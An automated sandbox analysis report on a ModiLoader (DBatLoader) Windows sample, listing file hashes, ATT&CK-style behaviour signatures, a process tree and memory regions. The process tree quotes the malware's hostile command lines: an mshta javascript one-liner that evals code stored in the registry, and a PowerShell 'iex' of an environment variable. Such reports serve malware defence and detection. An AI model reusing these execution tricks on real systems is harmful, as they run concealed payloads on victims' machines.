Analysis

  • max time kernel
    140s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-01-2025 22:30

General

  • Target

    JaffaCakes118_61074c81e777e01f2e2e9c0797314ca3.exe

  • Size

    569KB

  • MD5

    61074c81e777e01f2e2e9c0797314ca3

  • SHA1

    a0b407a1f60ed0efb2ac7d71b0b6dda0d64bb6ce

  • SHA256

    87f525e4f873547ccc36dda1dd4274f1a7fcfcbaec56a55eedd4f298543f021b

  • SHA512

    c8f4330c846d8f0dccc03bb5a9ba061788f1c4542b8246ff5ee41280590475a03ea04954a41c57a05a0394f5ea7d7e1d8f9e73a189bba572691102fde6477464

  • SSDEEP

    12288:QLSLyjBftSM5D2gdvfSS2GIIyJ8b/hhL9n7FE4:9LyjBfIA70GQ8b/DL9n64

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_61074c81e777e01f2e2e9c0797314ca3.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_61074c81e777e01f2e2e9c0797314ca3.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:208
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:eXEiLay4t="zavChBl5E3";sg8=new%20ActiveXObject("WScript.Shell");L3CWjXz="tJv8xSpN";T9RGj6=sg8.RegRead("HKLM\\software\\Wow6432Node\\5oglxwg\\0vqxxwE6s");eP8ERHv="Y3qw";eval(T9RGj6);tQE6YAqMR0="K";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:pyjyyuax
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2884

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3tt4xs4e.quj.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/208-13-0x0000000003410000-0x00000000034D0000-memory.dmp

    Filesize

    768KB

  • memory/208-3-0x0000000002330000-0x0000000002331000-memory.dmp

    Filesize

    4KB

  • memory/208-11-0x0000000003410000-0x00000000034D0000-memory.dmp

    Filesize

    768KB

  • memory/208-33-0x0000000002330000-0x0000000002331000-memory.dmp

    Filesize

    4KB

  • memory/208-5-0x0000000002330000-0x0000000002331000-memory.dmp

    Filesize

    4KB

  • memory/208-6-0x0000000002330000-0x0000000002331000-memory.dmp

    Filesize

    4KB

  • memory/208-7-0x0000000000400000-0x0000000000495000-memory.dmp

    Filesize

    596KB

  • memory/208-9-0x0000000003410000-0x00000000034D0000-memory.dmp

    Filesize

    768KB

  • memory/208-10-0x0000000003410000-0x00000000034D0000-memory.dmp

    Filesize

    768KB

  • memory/208-12-0x0000000003410000-0x00000000034D0000-memory.dmp

    Filesize

    768KB

  • memory/208-14-0x0000000003410000-0x00000000034D0000-memory.dmp

    Filesize

    768KB

  • memory/208-1-0x0000000002330000-0x0000000002331000-memory.dmp

    Filesize

    4KB

  • memory/208-36-0x0000000000400000-0x0000000000495000-memory.dmp

    Filesize

    596KB

  • memory/208-2-0x0000000002330000-0x0000000002331000-memory.dmp

    Filesize

    4KB

  • memory/208-4-0x0000000002350000-0x00000000023D2000-memory.dmp

    Filesize

    520KB

  • memory/208-0-0x0000000002350000-0x00000000023D2000-memory.dmp

    Filesize

    520KB

  • memory/2884-20-0x0000000005C40000-0x0000000005CA6000-memory.dmp

    Filesize

    408KB

  • memory/2884-19-0x0000000005B60000-0x0000000005BC6000-memory.dmp

    Filesize

    408KB

  • memory/2884-18-0x0000000005450000-0x0000000005472000-memory.dmp

    Filesize

    136KB

  • memory/2884-30-0x0000000005D30000-0x0000000006084000-memory.dmp

    Filesize

    3.3MB

  • memory/2884-31-0x00000000061F0000-0x000000000620E000-memory.dmp

    Filesize

    120KB

  • memory/2884-32-0x0000000006220000-0x000000000626C000-memory.dmp

    Filesize

    304KB

  • memory/2884-17-0x00000000054C0000-0x0000000005AE8000-memory.dmp

    Filesize

    6.2MB

  • memory/2884-34-0x0000000007900000-0x0000000007F7A000-memory.dmp

    Filesize

    6.5MB

  • memory/2884-35-0x00000000072B0000-0x00000000072CA000-memory.dmp

    Filesize

    104KB

  • memory/2884-16-0x0000000004E20000-0x0000000004E56000-memory.dmp

    Filesize

    216KB